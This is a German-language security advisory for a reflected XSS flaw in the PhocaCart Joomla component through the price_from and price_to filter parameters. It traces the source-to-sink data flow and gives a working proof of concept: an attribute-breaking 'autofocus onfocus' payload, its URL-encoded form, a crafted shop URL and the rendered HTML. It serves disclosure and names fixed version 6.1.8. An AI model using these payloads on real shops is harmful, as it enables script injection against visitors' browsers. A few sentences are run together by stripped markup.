
Reflektiertes XSS über die Filterparameter price_from und price_to in PhocaCart
PhocaCart ≤ 6.1.7 — Nicht authentifizierter Angreifer injiziert beliebiges JavaScript über eine manipulierte Preis-Filter-URL
PhocaCart 6.1.7 für Joomla ist anfällig für Reflected Cross-Site Scripting (XSS) über die GET-Parameter price_from und price_to, wenn das Modul mod_phocacart_filter installiert und veröffentlicht ist. Die Parameter werden mit Joomlas Eingabefilter 'string' verarbeitet, der nur strip_tags() anwendet – nicht jedoch . Die Rohwerte werden direkt in HTML--Attribute im Preisfilter-Formular ausgegeben, das vom Modul gerendert wird.
htmlspecialchars()value=""mod_phocacart_filterEin Angreifer bringt einem Opfer eine manipulierte URL unter. Wenn das Opfer die Seite lädt, wird der injizierte Event-Handler im Browser des Opfers ausgeführt. Eine Authentifizierung ist nicht erforderlich. Der Angriff setzt voraus, dass mod_phocacart_filter (ein separat vertriebenes Modul) installiert und veröffentlicht ist.
| KOMPONENTE | VERWUNDBAR | GETESTET AUF | BEHOBEN |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
Typ: Reflected XSS (CWE-79)
Authentifizierung erforderlich: Keine — öffentliches Shop-Frontend
CSRF-Token erforderlich: Nein (GET-Anfrage)
Sink-Datei: site/layouts/form_filter_horizontal_text.php:65,71
Joomlas Eingabefilter 'string' ruft strip_tags() auf – er entfernt HTML-Tags, lässt aber HTML-Sonderzeichen wie ", ' und > unkodiert. Die GET-Parameter price_from und price_to werden mit diesem Filter abgerufen und in $data['getparams'] gespeichert. Die Vorlagendateien geben diese Werte direkt in value=""-Attribute aus, ohne htmlspecialchars() aufzurufen, was eine Injektion im Attributkontext ermöglicht.
Datenfluss — von der Quelle zur Senke:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — VERWUNDBARE SENKE
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
Dasselbe Sink-Muster existiert auch in form_filter_text.php:81,87 (Variante für das vertikale Layout). Beide Parameter price_from und price_to sind gleichermaßen anfällig.
Der Angreifer konstruiert eine URL, die auf die Ansicht der Shop-Artikel abzielt, mit einem in den Parameter price_from injizierten Event-Handler-Payload. Der Payload bricht aus dem value=""-Attributkontext aus.
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
Wenn das Opfer die manipulierte URL öffnet, rendert die Shop-Artikel-Seite das Preisfilter-Formular. Die injizierten Attribute sind im <input>-Element vorhanden. Mit dem autofocus onfocus-Payload wird JavaScript sofort beim Laden der Seite ausgeführt, ohne dass eine weitere Benutzerinteraktion erforderlich ist.
Gerendertes HTML (anfällig):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

XSS wird im Browser des Opfers ausgelöst — alert(document.domain) bestätigt den Ausführungskontext im Shop-Frontend